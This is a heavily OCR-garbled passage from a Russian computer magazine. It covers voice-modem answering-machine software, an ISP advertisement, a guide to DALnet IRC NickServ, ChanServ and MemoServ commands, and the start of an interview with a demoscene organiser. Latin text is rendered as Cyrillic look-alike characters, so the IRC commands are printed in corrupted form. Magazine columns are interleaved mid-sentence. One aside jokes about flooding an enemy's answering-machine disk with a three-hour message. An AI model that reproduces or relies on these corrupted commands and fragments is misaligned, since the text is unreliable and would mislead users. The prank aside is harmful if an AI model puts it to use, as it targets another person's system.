народа под играющую в этот момент музыку. Вот народ 
выпадет-то! 

Хочу сказать, что идея, засунутая в эту прогу, очень 
классная, и за развитием проги надо внимательно сле- 
дить. Старт очень хорош, будем ожидать продолжения. 
Я на сегодня юзаю прогу версии 1 .0, и эта же версия 
лежит на сайте программы, адресок которого ты най- 
дешь выше. Весит она 8 мегов, оттуда ее можно скачать 
единым архивом или кусками (там уже есть разбивка). 
Короче, все, качай, юзай и бывай, братишка! ~|Г" 
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ложить трубку, включить автоответчик, начать запись 
разговора и т.д. и т.п. Также все эти действия можно 
сделать так, чтобы они происходили и после определе- 
ния номера. Записанные сообщения можно проигры- 
вать как через модем, так и через звуковую плату. Мож- 
но создать свою записную книжку. Она будет храниться 
в текстовом виде и может быть в любое время отредак- 



^АсІѵапсесІ СаІІ СепЬег 



(МАХХ@ХАКЕР.РІ_і) 



чью 



значит 
і, в Инете, 
АОНа (или и 



Эта прога занимает одно из первых мест по количеству 
поддерживаемых момедов. В число которых, скорее 
всего, попадет и твой. Но самого лучшего результата 
ты, конечно, добьешься, если у тебя стоит... модем ти- 
па ЮСР, Зухель и другие типа этих. Прога имеет опре- 
делитель номера, причем определяет номер в двух 
стандартах. Во-первых, в американском СЮ стандарте 
(видать, прога делалась на экспорт), во-вторых, в фор- 
мате АОН (безынтервальный пакет) российских и евро- 
пейских АТС. 

Настройка АОНа очень разнообразна и для тебя она мо- 



жет быть одной, а для твоего приятеля другой. В нас- 
тройках ты указываешь, из скольких цифр состоит теле- 
фон, количество сигналов в запросе и максимальное 
число запросов. Правда, очень уж много в этих нас- 
тройках умных слов написано, но разговор сейчас не об 
этом. Нам же с тобой нужен автоответчик, а не опреде- 
литель номера. Берешь себе любой войсовый модем и 
микрофон, записываешь сообщение типа: “Я сейчас 
очень занят взлетами и падениями и не могу оторвать- 
ся, так что прошу оставить мне мессагу и я тебе перез- 
воню, как освобожусь”. И можем смело браться за де- 
ло, он все остальное за тебя сделает, будь уверен (я о 
телефонии, а не о взлетах :)). 

Прога преспокойненько сидит в трее и никому не ме- 
шает. При входящем звонке программа активизируется 
и выдает звуковой сигнал, если у тебя, конечно, вклю- 
чены колонки. Но все эти звуки можно легко убрать и 
жить спокойно без них. А можно и поставить и сообще- 
ние для себя. Типа: “Слышь, ты, засранец, подними 
свою задницу с дивана и возьми трубку, мать твою!”. 



Михаил Терехов (втрамбер@хаі 




тирована тобой. 

При первом запуске программа пытается определить 
Есть среди чего выбирать. Можно поднять трубку, по- порт, на котором находится твой момед. Но она может 
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его и не найти. А чему ты удивляешься, может ты его 
пропил совсем недавно. Вот в такой ситуации придете 

Таких конфигураций с различными музыкальными 
файлами ты можешь создать сколько тебе будет 
нужно, чтобы, позвонив, человек каждый раз нары- 
вался на разный репертуар и мог вволю с телефоном 
потанцевать. 

Программа после загрузки и до скончания веков сидит 



сообщений и менять их раз в неделю, а можно и поча- 
ще. Только можешь не усердствовать слишком сильно. 
Не имеет смысла подготавливать сообщения в стерео 
режиме, ведь телефонная линия у тебя этого не под- 
держивает. Так что имей ввиду и особенности телефон- 
ной линии и своего момеда. Свои сообщения ты мо- 
жешь записывать и при помощи встроенного в прогу 
редактора ѵѵаѵ файлов. Это окно делится на две части: 
первая половина - запись, вторая - воспроизведение. 

Полученное сообщение можно прослушать через теле- 



ся определенная пауза. В эту очередь ты можешь внес- 
ти еще несколько номеров. 



Что-то вроде “не дозвонюсь к этой, так получится к дру- 
гой”. Также программа ведет за тобой журнал. Кто тебе 
звонил и куда ты звонил. Иногда это помогает при 
склерозе (но не помогает при разборках со своей под- 
ругой :)). Из этого журнала ты можешь многое почер- 
пнуть. Например, прослушать сообщения, которые те- 
бе поступили в интересующий тебя день. Есть возмож- 
ность работы в проге на буржуйском языке, если тебе 
вдруг надоест этот русский. 

Но у программы есть один недостаток, иногда она за- 
висает. Иногда, считай, как раз в полчаса. Иногда из 
программы просто нельзя выйти. Она, видите ли, слу- 
шает линию, и выключить ее можно только нажатием 
трех любимых клавиш (т.е. СМ+АК+Везеі). 



фонную трубку, наушники, которые надо подключить в 
разъем на задней панели модема или через колонки. 
Главная панель управления может появляться на экра- 
не как в виде факс-аппарата, так и без всякого вида в 
режиме простого окошка. 



в трее. Вытащить ее оттуда можно двумя способами: 

1 ) двинуть туда свою крысу и пару раз нажать на нее; 

2) если ты в танке, можешь ждать, пока кто-нибудь 
позвонит, и она сама вылезет из трея. 

Самый лучший способ, чтобы ее оттуда вытащить, на 
мой взгляд, это позвонить кому-нибудь из друзей и 
попросить тебе перезвонить, так как плохо слышно. 

По умолчанию, программа записывает только шестьде- 
сят секунд, но если у тебя не слишком разговорчивые 
друзья, которые любят потрепаться с автоответчиком, 
то тебе этого времени хватит. Если хочешь послушать, 
что тебе там наговаривает твой дружок, то просто вклю- 



чи динамик модема при записи сообщения. 



М Щ. ті Ш I 




В программе есть спикерфон. Если у тебя микрофон с 
очень хорошей чувствительностью, то ты можешь раз- 
говаривать с челобреком на том конце провода, расха- 
живая по комнате. Громкость у спикерфона регулирует- 
ся (как и чувствительность микрофона). 

В проге имеется “очередь звонков”. Если номер оказал- 
ся занят, то перед следующей попыткой выдерживает- 



ІѴепСа Рах & Ѵоісе 

Эта программа, как ты можешь догадаться по назва- 
нию, может принимать и отправлять факсы. Прием и 
передача факс-сообщений производится как в ручном, 
так и автоматическом режимах. Очень легко провести 
прием или передачу факсимильных сообщений. При 
передаче достаточно перетащить пиктограмму доку- 
мента в открытое окно программы. Но ты же не на ра- 
боте, и не всегда оно нам нужно. Поэтому забросим эту 
функцию проги куда подальше и продолжим разговор 
об автоответчиках. Все голосовые сообщения, исполь- 
зуемые в ВентаФакс, имеют формат .ѵѵаѵ, поэтому при 
помощи микрофона ты можешь сделать себе кучу таких 



Программа может работать как в качестве полноценно- 
го автоответчика, так и в качестве автоматического ин- 
форматора, когда человек, дозвонившись, будет иметь 
возможность прослушать оставленное тобой сообще- 
ние, после чего трубка будет положена, несмотря на 
все его матюки в твой адрес! 

Имеется определитель номера. Но настройка АОНа 
имеет экспериментальный характер, так что придется 
тебе, дружок, маленько повозиться с параметрами в 
закладке АОН. Среди экспериментальных настроек тебе 
встретятся “Сигнал запроса” к телефонной станции для 
определения номера абонента, “ответный сигнал стан- 
ции”, который записывается и анализируется, а также 
можно настроить “имитацию сигнала вызова”, чтобы 
чел, который тебе звонил, не догадался, что у тебя 
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стоит определитель номера. Если прога определила 
номер телефона, то она в специальном окне выведет 
данные об этом человеке, если он есть у тебя в базе 
данных (даже его фото, если оно туда внесено). Если 
номер определен частично, то вместо неизвестных 
цифр номера будут выведены буквы X (наш человек 
прогу писал :)). 




Эта шикарная прога просто находка для склеротика, ко- 
торому очень эффективно поможет журнал соедине- 
ний. В нем записываются дата соединения, его продол- 
жительность и как прошел сеанс. 

ПарібСопгтп Ѵоісе. 

Сразу замечу, что если у тебя модем не от ЗСопл, то мо- 
жешь спокойно читать окончание статьи, а эту ее часть 
пропустить. Все дело в том, что прога писалась спе- 
циально под ІІВРоЬоІісз и поставляется на диске к не- 
му же. Программа может получать и передавать факси- 
мильные сообщения (короче, факсы отправляет), при- 
чем она реально работает. Имеет собственное окно для 
просмотра вышеназванных сообщений. Но не о факсах 
у нас разговор, а значит, к нашим баранам. Ну, в смыс- 
ле автоответчику встроенному. Начнем с того, что рыть- 
ся в настройках в течение суток не придется - их прос- 
то почти нет. Настроив их за несколько минут, ты обна- 
ружишь, что все работает, а после этого получишь ог- 
ромное удовольствие от юзания данной проги. В проге 
изначально закатан целый ряд стандартных сообщений, 
жаль, но лишь на англицком - так что их придется сме- 
нить. Сделать это очень легко, их нужно просто запи- 
сать и сделать стандартными. 



По умолчанию, автоответчик начи- 
нает свою работу после второго 
гудка в линии, но количество гуд- 
ков до снятия трубки можно и из- 
менить на любое желаемое. Харак- 
терно, что сообщение, которое те- 
бе оставляют, вовсе не ограничено 
временем, а лишь только местом, 
которое осталось у тебя на диске. 

Так что если у твоего злейшего вра- 
га стоит эта прога, ты можешь поз- 
вонить ему и замусорить весь диск, 
забив его до отказа своим сооб- 
щеньицем в виде трехчасовых вос- 
хищений его персоной, а также прогнозом относитель- 
но ее будущего. Любое оставленное тебе сообщение ты 
можешь прослушать как через колонки, пристегнутые к 
звуковухе, так и через телефонную трубку (вот уж заба- 
ва для извращенцев, если у тебя колонки есть). Все 
файлы сообщений в программе имеют собственное 
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стандартное расширение .дзт, так что прослушивать 
на бис оставленное твоей девчонкой сообщение на те- 
му какой ты тигр в постели, тебе придется только в са- 
мой проге. В целом надежная, простая прога, и писать 
вроде больше нечего, хотя вот еще... 

Меня очень порадовало, что в проге имеется соб- 
ственная терминалка со стильным окошком. Если у те- 
бя стоит эта прога, тебе больше никогда не потребует- 
ся встроенная терминалка ВинГлюка. Можно подклю- 
чить микрофон к модему и использовать функцию 
спикерфона. 



манды своего момеда или умеешь читать описания, то 
можешь в самой проге махнуть не работающие коман- 
ды на реальные команды твоего момеда (соответ- 
ствующие функции встроены в каждой проге). Теперь 
те, кому сильно не повезло, могут рукавом маминого 
халата утереть слезы и, сев с бутылкой пива рядом с 
компом, начать ждать момента, когда команды и их 
момеда будут встроены во все автоответчики. 

А для тех, у кого все совпало и кто все же решил уста- 
новить себе какой-либо автоответчик, я могу посове- 
товать лишь две проги. Для тех, у кого имеется момед 
ОоЬойсз, выбор очевиден... Это РарісІСотт Ѵоісе. 
Несмотря на то, что прога базарит только по-англиц- 
ки, все равно ее надо 100% ставить. Потому как язык 
надо учить, а по количеству функций и работоспособ- 
ности она превосходит все остальные на голову. 
Вторая прога - это, несомненно, Ѵепіа Рах. Она рабо- 
тает практически на любом момеде, говорит на рус- 
ском языке, да и хелп к ней накатан настолько недет- 
ский, что не разобраться в ней практически невозмож- 
но. Единственным камнем в ее огород будет только 
большое количество настроек, которые, к слову, и в 
дефолте классно работают, так что менять почти ниче- 
го не придется. Классный выбор для тех, кто язык 
учить не собирается и любит русского производителя 
поддержать. Ребята-то ее нашенские сделали! 
Несомненно, выбор за тобой, а я покатил, а то на ав- 
тоответчике сообщения не прослушанные есть. Вдруг 
что-нибудь интересное? !! 
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ША доктор сказал - все будет 
хорошо! 

Не расстраивайся, если у тебя не заработал автоответ- 
чик. В настоящее время не существует единого стан- 
дарта набора голосовых команд, и именно поэтому ны- 
нешние автоответчики не могут обеспечить правильную 
работу голосовых функций с любым голосовым моде- 
мом. Если программа вовсе не обнаружит голосовых 
функций в твоем голосовом модеме, это не глюк, прос- 
то в настоящее время набор его голосовых команд 
неизвестен. В принципе, если ты хорошо знаешь ко- 





ВЫ ПЛАТИТЕ ТОЛЬКО ЗА ТО, ЧТО ВАМ НЕОБХОДИМО! 



2-5игі - ОІаІ-Ыр $1 в час 
(ночью - $0.5!) 

Новый тарифный план 
2-5ш^ идеально сочетает 
в себе надежность и 
безопасность со свобод- 
ным "плаванием" по сети 
Интернет, и при этом 
позволяет рационально 
расходовать денежные 
средства. 



2-МаіІ - платный почтовый 
сервис ($12 в год) 

Ваш почтовый ящик никто 
не сотрет, сервер, храня- 
щий почту, будет всегда 
доступен. А какая 
техподдержка! 

Вы платите деньги не за 
электронную почту, а за 
ее качество! 



2-5і(е - мини-сайт 5 МЬ 
($12 в год) 

Ваша домашняя страничка 
достойна большего! 
Приобретая 2-5іІе, Вы 
получаете не только 
достаточное дисковое 
пространство, но и домен 
третьего уровня на 
доменах 2 шаі 1 .ги, ок.ги, 
ги.ги, ісі.ги, циаке.ги 



І-Иеѵѵз - доступ к пеѵѵз- 
серверу ($12 в год) 

Для самых бережливых - 
экономичные 
комплексные пакеты 
услуг 2-Раск и 2-Тіпу! 




Линия продуктов 2-І_іпе - для тех, кто экономит время и деньги! 
Техническая поддержка для всех видов сервиса - круглосуточно! 



2ЕПЮМ ПІ.5.Р. 
ЬКр:. 'ілплплг.гтаіі.ги 
Е-таіІ: іп#о@гтаіІ.ги 
тел.: (095) 250 4629 
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г у — ^ РС ты уже пощупал в первой части, 

I пора посмаковать. Кто не пощупал, 
I бегом бежать искать в прошлых номе- 
рах X! Ну а пока отсталые бегают за 
прошлыми номерами, слушай сюда. 
Я поведаю о сервисах ОаШ. Кроме прелести свобод- 
ного общения, на ЭаШ есть очень полезные сервисы. 
Это служебные сервисы, которые созданы для облегче- 
ния жизни в ІРС. Но, не зная их, ты себе жизнь особо 
не облегчишь. И вообще, тебе, как хацкеру, просто 
необходимо знать сервисы ЭаІМеІ! :) Итак, поехали... 



установки на ник. СІіапЗегѵ отвечает за администри- 
рование каналов. МетоЗегѵ предназначен для обмена 
сообщениями между людьми, когда кто-то в данный 
момент не на ІРС (вроде сообщений, посланных в ІСО 
в офф-лайн). 

Но и тут есть свои ограничения и тонкости, об этом ниже. 






Всего на ЭаІМеІ существует 5 сервисов: МіскЗегѵ, 
СІіапЗегѵ, МетоЗегѵ, НеІрЗегѵ и ОрегЗегѵ. 

Тебе реально нужны только первые три, четвертый тебе 
как хацкеру просто не нужен :), а последний пятый 
предназначен для злых дядек - иркопов :). МіскЗегѵ от- 
вечает за администрирование ников и разные полезные 



Очень полезный сервис. С его помощью можно забить 
себе ник так, что другие уже не смогут им воспользо- 
ваться (зарегеть, значит). Короче, слушай по порядку... 
Как только ты попал на ЭаШ, встает проблема выбора 
ника. Это очевидно, но, кроме того, встанет еще и 
проблема выбора незанятого ника. Потому как другой 
хацкер мог еще до тебя зарегистрировать выбранный 
ник. Узнать это можно элементарно, набрав /тзд піск- 
зегѵ іпіо піскпате, если ответ будет: 

Міск по! гедізіегесі - можешь прыгать до потолка (каски 
высылаются наложенным платежом :)) и брать его себе. 
Чтобы наложить свое вето на ник, просто зарегестри 




его командой /тзд піскзегѵ гедізіег раззѵѵогсі (раззѵѵогсі 

- пароль на ник). 

Маленький совет: запиши куда-нибудь пароль, а то бы- 
вают иногда землетрясения, наводнения, старческий 
маразм, наконец - пароли забываются. Если ты заре- 
гистрил пароль, это только полдела. Теперь всем, кто 
будет пытаться залогиниться с твоего ника, пока ты бу- 
дешь провожать девочку домой (антивирус не забудь ;), 
ненавязчиво сообщат, что нужно ввести пароль в тече- 
ние минуты, иначе ник будет сменен на СиезШ7946 (но- 
мер произвольный). 

Порадовала фича? :) Ставится она всего одной коман- 
дой /тзд піскзегѵ зеі кіІІ оп. Чтобы ввести пароль само- 
му, при запросе введи /тзд піскзегѵ ібепйіу раззѵѵогсі. 
Еще одна наболевшая проблема: после дисконнекга и 
возвращения на канал твой старый ник продолжает ви- 
сеть, а ты нудно ждешь, когда же он упадёт, чтобы взять 
его обратно. Хацкеры так не делают! :) Набери /тзд 
піскзегѵ діюзі піскпате раззѵѵогсі и помаши ручкой нику. 
В принципе на этом по МіскЗегѵ можно и ограничиться, 
есть еще некоторые команды, их я просто приведу в ви- 
де списка с описанием: 

- /тзд піскзегѵ раззѵѵсі раззѵѵогсі - сменить пароль ника 

- /тзд піскзегѵ зеі игі - просветить всех, где твой хомпаг 

- /тзд піскзегѵ зеі потето оп|ой - отрубить прием мес- 
саг через МетоЗегѵ 

- /тзд піскзегѵ зеі поор оп|ой - тебя не смогут добавить 
в АОПы или СОПы даже при очень большом желании 
(кстати, очень легкий способ заработать на спор пиво, 
мало кто помнит или знает эту команду) 

- /тзд піскзегѵ ассезз абфеі изег@ИозІтазк - доба- 
вить|удалить маску, тогда не нужно будет идентифици- 
роваться к нику, МіскЗегѵ распознает по маске (пример 
изег@Іюзітазк - саІѵіп@тіІпік.псзи.есІи) 

- /тзд піскзегѵ ісІепШу піскпате раззѵѵогсі - недокумен- 
тированная возможность идентифицироваться к нику, 
не выбирая его (удобно, когда в каком-то канале у тебя 
АОП по одному нику, а ты зашел под другим) 

- /тзд піскзегѵ гесоѵег піскпате раззѵѵогсі - аналогична 
дііозі, описанной выше 

- /тзд піскзегѵ геіеазе піскпате раззѵѵогсі - когда сраба- 
тывает кіІІ, то ник блокируется сервисом на 2 минуты, 
это команда позволяет снять блокировку сразу 

- /тзд піскзегѵ бгор піскпате - удалить ник, если, ну, 
ужасть как надоел 

- /тзд піскзегѵ асе піскпате - позволяет узнать, ка- 
кой доступ имеет к нику человек, сидящий под ним в 
данный момент, используется в ботах (если возвра- 
щает 0 - нерегистренный ник, 1 - юзер не идентифи- 
цировался через МіскЗегѵ, 2 - юзер идентифициро- 
вался через МіскЗегѵ). 



Не менее полезный сервис. Но он создан для владель- 
цев каналов. Если у тебя нет своего канала и у тебя нет 
статуса АОПа (СОПа) - пропусти этот сервис. Рано или 
поздно каждый задается вопросом: а как же мне сде- 
лать свой собственный канал? Уверяю, нет ничего про- 
ще, другое дело - зачем? Если канал реально нужен, 
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слушай дальше. Как и в случае с ником, канал, который 
ты решил сотворить, может быть уже занят. Поэтому до 
того как хныкать и обижаться на весь мир, выполни ко- 
манду /тзд сііапзегѵ іпіо #сІіаппеІ, и если увидишь в от- 
вет СііаппеІ поі гедізіегесі - топиться еще рано. Регес- 
трится канал всего одной командой - /шзд сііапзегѵ гед- 
ізіег #сИаппеІ раззѵѵогсі сіезсгірііоп (раззѵѵогсі - пароль 
на канал, сіезсгірііоп - описание канала в 5-ти словах). 
Причем с описанием особо заморачиваться не надо, 
его можно будет потом сменить в любое время, а вот 
пароль - лучше запиши где-нибудь (я, например, пишу 
на стенке за шкафом, а Покровский делает себе татуи- 
ровки :) . Зарегистрив канал, ты, конечно, возьмешь с 
ребятами пивка. Не взял? Не страшно, ведь я сейчас 
предложу тебе опции, которые под пивом плохо де- 
лаются :). Первым делом нужно закрыть режимы в ка- 
нале, чтобы ламерам не повадно было, команда /шзд 
сііапзегѵ зеі #сііаппеІ тіоск +тосІе5-тосІе5. Чаще все- 
го используют вот такую комбинацию - +пІ-РІіткрз (п - 
нельзя послать мессагу в канал, находясь не на нем, I - 
топик меняют только операторы, Н - недокументиро- 
ванный глюк ОаШ :), I - ограничение на количество че- 
ловек в канале, і - вход на канал только после пригла- 
шения в него, т - в канале смогут говорить только опе- 
ра и те, у кого стоит +ѵ, к - заход на канал по паролю, 
р - канал не будет отображаться в общих списках, з - не 
будет видно, что человек на этом канале, после коман- 
ды /ѵѵіюіз, даже если он и там. 

Теперь твой канал вполне работоспособен, привлекай 
посетителей :). Но один ты 24 часа в сутки не выси- 
дишь, да и скучно все самому администрить. Есть воз- 
можность добавлять СОПов и АОПов, которые могут 
также администрировать канал, команды /шзд сііапзегѵ 
аор #сііаппеІ асіфеі піскпате|тазкііо5і и /тзд сііапзегѵ 
зор #сііаппеІ асіфеі піскпате|тазкііо5І 
Вышесказанного вполне достаточно, чтобы канал пол- 
ноценно существовал, но вот еще список остальных ко- 
манд, которые вполне тебе пригодятся еще не раз: 

- /тзд сііапзегѵ зеі #сііаппеІ Іоипсіег - поставить себя 
фаундером канала 

- /тзд сііапзегѵ зеі #сііаппеІ раззѵѵсі раззѵѵогсі - сменить 
пароль на канал 

- /тзд сііапзегѵ зеі #сііаппеІ безе сіезсгірііоп - сменить 
описание канала 

- /тзд сііапзегѵ зеі #сііаппеІ ордиагб оп|оИ - нельзя дать 
оп ни АОПу и ни СОПу 

- /тзд сііапзегѵ зеі #сііаппеІ кееріоріе оп|оИ - хранится 
последний введенный топик, когда все покидают канал 

- /тзд сііапзегѵ зеі #сііаппеі игі игі - поставить адрес 
хомпага канала 

- /тзд сііапзегѵ зеі #сііаппеІ ібепі оп|оИ - АОП и ООП по- 
лучат оп на канале только при условии, что они иденти- 
фицировались через МскЗеп/ 

- /тзд сііапзегѵ зеі #сііаппеІ гезігіеі оп|оИ - на канал 
смогут зайти только опера 

- /тзд сііапзегѵ зеі #сііаппеІ Іорісіоск іоипбег|зор|оіі - 
залочить топик 

- /тзд сііапзегѵ зеі #сііаппеІ Іеаѵеорз оп|оіі - не даст опа 
первому зашедшему на канал, если он не является АО- 
Пом или СОПом 

- /тзд сііапзегѵ зеі #сііаппеІ ипзесиге оп|оіі - сделать 
канал менее защищенным. К примеру, чтобы менять 
установки на канал, не нужно будет каждый раз иденти- 
фицироваться к каналу, если твой хост прописан в 
списках доступа 

- /тзд сііапзегѵ зеі #сііаппеІ ргіѵаіе оп|оіі - сделать ка- 
нал невидимым в списках каналов 



- /тзд сііапзегѵ зеі #сііаппеІ тето попе|аор|зор|іоипбег 

- кто получит мессаги, посланные в канал через 
МетоЗегѵ 

- /тзд сііапзегѵ ібепіііу #сііаппеІ раззѵѵогсі - идентифи- 
кация к каналу 

-/тзд сііапзегѵ акіек #сііаппеІ асіфеі 
піскпате|тазкіі05і - АКИ К - автоматический бан и 
кик с канала 

- /тзд сііапзегѵ бгор #сііаппеІ - удалить канал 

- /тзд сііапзегѵ ассезз #сііаппеі піекпате - узнать уро- 
вень доступа на канал (-1 - АКИК на канале, 0 - простой 
посетитель, 1 - АОП, 2 - ООП, 3 - доступ фаундера че- 
рез список масок доступа, 4 - доступ фаундера через 
идентификацию к нику, 5 - доступ фаундера через 
идентификацию к каналу) 

- /тзд сііапзегѵ ор #сііаппеІ піекпате - поставить оп че- 
рез СііапЗегѵ 

- /тзд сііапзегѵ беор #сііаппеІ піекпате - снять оп че- 
рез СііапЗегѵ 

- /тзд сііапзегѵ ипЬап #сііаппеІ те|аІІ - отбанить через 
СііапЗегѵ, даже не заходя на канал 

- /тзд сііапзегѵ тбеор #сііаппеІ - лишить сразу всех си- 
дящих на канале опа через СііапЗегѵ 

- /тзд сііапзегѵ ткіек #сііаппеІ - забанить и кикнуть 
сразу всех с канала через СііапЗегѵ 

- /тзд сііапзегѵ соипі #сііаппеІ - вывести количество 
АОПов, СОПов и АКИ Ков на канале 




Менее популярный сервис, т.к. существует множество 
других, более удобных программ для обмена месагами. 
Но все же иногда этот сервис может пригодиться тебе. 
В общем, просканируй и эту фишку :). Для обмена мес- 
сагами необходимо, чтобы у тебя и твоего друга были 
зарегистрированные ники, т.е. и отправитель, и получа- 
тель - должны быть зарегены. А ты регистрироваться не 
хотел :)). Чтобы отправить другу мессагу через Мето, 
набери /тзд тетозегѵ зепб піекпате іехі (іехі - твое 
сообщение), и всё. Ограничение одно: ты не сможешь 
послать более 5 сообщений подряд, пока твой друг не 
сотрет предыдущие. И как же их стирать? Ну, если ты 
смог послать, то и подтереть сможешь :). Все мессаги 
стереть сразу нельзя, а можно только пометить на уда- 
ление /тзд тетозегѵ беі питЬег (питЬег - номер мес- 
саги), а уж потом уничтожить помеченные на удаление 
/тзд тетозегѵ ригде. Ну и, конечно, тебе будет инте- 
ресно узнать, как читать сообщения, присланные тебе 
:). Элементарно, Ватсон: /тзд тетозегѵ геаб питЬег. 
Вот список команд, оставшихся вне внимания: 

- /тзд тетозегѵ зепбзор #сііаппеІ іехі - послать месса- 
гу СОПам канала (хэлоу, мазафака бастарде!) 

- /тзд тетозегѵ Іізі - список мессаг, присланных тебе 
(когда мне пиво вернешь, иркер сланный?) 

- /тзд тетозегѵ ипбеі питЬег - снять пометку на уда- 
ление (живи, пока я добрый) 

- /тзд тетозегѵ іогѵѵагб піекпате раззѵѵогб - переадре- 
сация мессаг с одного ника на другой (то, что тебе пи- 
сала пышногрудая блондинка - не надо пересылать в 
канал твоего института, ректору) 



Полезные советы 




- не меняй ники часто - потеряешься :) 

- если забыл пароль к нику или каналу - ползай на 
#орегііеІр, там бывают злые дядьки иркопы :) 

- иркопа можно отличить по надписи із ап ІВС Орегаіог 







после команды /ѵѵЬоіз піекпате 

- не придумывай очень коротких паролей для ни- 
ков и каналов, их можно подобрать 

- не делай пароль на ник и канал одинаковыми 

- установки кееріоріе и іорісіоск взаимоисклю- 
чающие, т.е. их нельзя поставить одновременно 

- поор - реальный способ заработать на спор пи- 
во :): практически никто не помнит или не знает 
этой команды 

- мнение, что канал развить так же легко, как и сделать, 
ошибочно 

- выбирай как можно короче название канала, если соб- 
рался его ваять 

- побольше тусуйся в реале, нежели в виртуале :) 



Если ты кул хацкер и тебе есть что посоветовать начи- 
нающим хацкерам - пиши свои советы на 
апс1ги5ііа@5І.ги (ЗиЬ]есі: Полезные советы ІВС) - мы их 
выставим в следующей части. 



*** Опрос..?.!?. 

Что тебе еще интересно узнать про ІПС и об ІПС? 
Пиши и прочтешь в своем любимом журнале! 
апс!ги$Ііа@$І.ги (ЗиЬіесі: Хочу ІПС) 



•шг 

лк. 
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X- Гіі_е: 

Гѵііск: Соре Ріррек 

Кеаі_ Ыаме: Петр Соболев 

Организатор Еічыбнт ремо 



РАРТѴ 95-97 (ПЕРВАЯ РОССИЙСКАЯ ДЕМО-ПАТИ). САМЫЙ ИЗВЕСТНЫЙ ПИТЕРСКИЙ ІЫ-ЗСЕМЕ МАИ 



Х> Ну, для начала, расскажи? с какой вешалки 
для тебя началась демо-сцена? 

СВ> Очень естественно началась. И, я бы ска- 
зал, плавно. В 9-10 классах информатика у нас 
была на машинках Сотгтюбоге 64. Так вышло, 
что именно на этих компьютерах в мире впер- 
вые появилась настоящая демо-сцена. В то 
время я сам был не слишком компьютерно гра- 
мотен, так что больше занимался изучением, 
нежели созданием чего-то своего. Сидел в ВЦ 
с утра до вечера, разбирал на кусочки игрушки, 
демки, загрузчики разные. Документации не 
было никакой, до всего приходилось самим до- 



Инте 



ходить. Может быть это было и к лучшему. Дух 
64- ки, какие-то частички тех людей, что созда- 
вали для него софт, останутся во мне навсегда. 

Х> А когда перешел на РС? 




СВ> После 64-ки был Сотгтюбоге 128 (отличие 
не слишком принципиальное). В общей слож- 
ности с Соттобоге’ами я провозился около 3- 
4-х лет (плюс на 2Х-8рес1шт было потрачено ~2 
месяца). Затем уже появилась ХТ “Нивка” - бы- 
ло такое советское чудо, весьма неплохое, надо 
отметить. Я его разогнал до ЮМНг (перепайкой 
кварца), и почему-то после этого из кроватки 
стал постоянно выскакивать чип контроллера 
дисковода, я его нитками примотал :). Ну а поз- 
днее - 286, 3863Х->ОХ, 48601-С- > ОХ, Р5. В об- 
щем, обычный путь. Правда, и сейчас машинка 
слабенькая - в игрушки я окончательно перес- 
тал играть пару лет назад, а для остального по- 
ка хватает обычного Р5ММХ-166 

Х> Расскажи о своей группе: кому и когда 
пришла в голову идея ее организовать? Кто в 
нее входил с самого начала? Что из первых ре- 
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лизов тебе больше всего запомнилось? 

СВ> Как ни странно, я могу назвать точную да- 
ту образования группы Веаіт ОТ ІІІизіоп. 
(Іпйр://ѵѵѵѵѵѵ.епІідІіІги/гоі) Это произошло 5 ап- 
реля 1994 года. Мы посчитали, что бегтто-груп- 
пы без релизов в принципе быть не может (хо- 
тя тогда в Союзе таких “групп” хватало), и зая- 
вили о создании РЮі только по выпуску перво- 
го номера ІМРІІ8ЕЭ ВУТЕ8 бізктадагіпе - 
электронного журнала, посвященного тогда ис- 
ключительно бето сцене. Первоначально груп- 
па состояла из двух человек - меня и битЬо 
ВідВид (он писал музыку). 

Х> Кстати, давно хотел узнать, сколько приб- 
лизительно уходит времени на создание од- 
ной демы? 

СВ> Я могу об этом говорить скорее как 
эксперт, нежели как создатель дем (ВОі никог- 
да не выпускало ни одной полной тедабегтю). 
По моему глубокому убеждению, любые объяв- 
ления о планируемых бето раііу следует де- 



лать не позднее чем за 5 месяцев до начала са- 
мого мероприятия. И именно потому, что лю- 
дям нужно дать время на размышления и рабо- 
ту над бето. Я не слышал, чтобы кто-то писал 
подобные вещи за один присест - обычно это 
тянется месяцы, причем в большинстве слу- 
чаев не доводится до конца. Такова жизнь. 

Х> И вот людям, извиняюсь за выражение, не 
в падлу тратить мегаватты усилий лишь для то- 
го, чтобы какой-нибудь 17-летний паренек, 
посмотрев дему, сказал: “Все, мама, не хочу 
быть Кевином Митником, а хочу ВоуаІ СІіозТом 
или там МабМах’ом”. Зачем вам все это надо, 
что для вас сцена? 

СВ> Ответ на этот вопрос неоднозначен. 
Раньше, в конце 80-х, причин и объяснений 
было меньше, сейчас их больше. Если пере- 
числять (в произвольном порядке): 

1) ‘Тог Іип” - то есть для развлечения, ради 
интереса. 

2} Чтобы показать что ты лучше других. 

3) Чтобы найти себе работу в какой-либо ком- 
пании, пишущей, к примеру, игрушки. 



Из этих причин истинной (той, на которой дер- 
жался и еще держится бетотакіпд) является 
как раз первая - “Тог Тип”. Что до последней, 
то она очень сильно распространилась в пос- 
леднее время. К большому сожалению. Это 
если говорить в общем. Если конкретно, о се- 
бе, то для меня в этом деле главной, безус- 
ловно, является первая причина. Когда я зани- 
мался организацией бето раііу, мне было 
приятно видеть, как знакомятся между собой 
люди, с каким интересом они обсуждают что- 
то новое - идеи, решения. В конце концов их 
уважение для меня тоже много значит. И еще 
отмечу - нельзя сказать, что именно “сцена” 
для меня что-то. Я скорее пытаюсь способ- 
ствовать ее развитию. Стоя как бы рядом. 

Х> Ну, насчет уважения я нисколько не сом- 
неваюсь ;). Очень хорошо помню гул в зале 
на ЕпІідМ’е, после того как произнесли твой 
ник. Кстати, если мы уж затронули эту тему, 
может расскажешь нашим читателям о де- 
мо-патисах? 

СВ> Эето раііу появились через некоторое 
время после возникновения самого понятия 
“бето” (исторически первые бето, а точнее 
іпіго, появились как мини-заставки к взломан- 
ным игрушкам). Идея была проста - во-пер- 
вых, это способ померяться силами, ведь по 
сути бето раііу это соревнование бетотак- 
ег’ов и их собратьев по разуму - музыкантов 
и художников. Во-вторых (и это очень важно), 
- на бето раііу люди встречаются и знако- 
мятся лично. Обсуждают общие проблемы. 
Сеть дает многое, но не все. Начиная с опре- 
деленного момента у бето раііу появилось 
еще одно предназначение - это способ про- 
рекламировать свою работу (и себя в каком-то 
смысле). Раньше демок было мало, люди жда- 
ли с нетерпением любого релиза. Со време- 
нем работы стали появляться так часто, что 
никто не успевает их просматривать. И тогда 
постепенно все поняли, что если их работа не 
шедевр, значит ее никто и не увидит, если 
только она не будет показана на бето раііу и 
не займет какое-нибудь место. Организуют 
бето раііу обычные живые люди. Те, кому это 
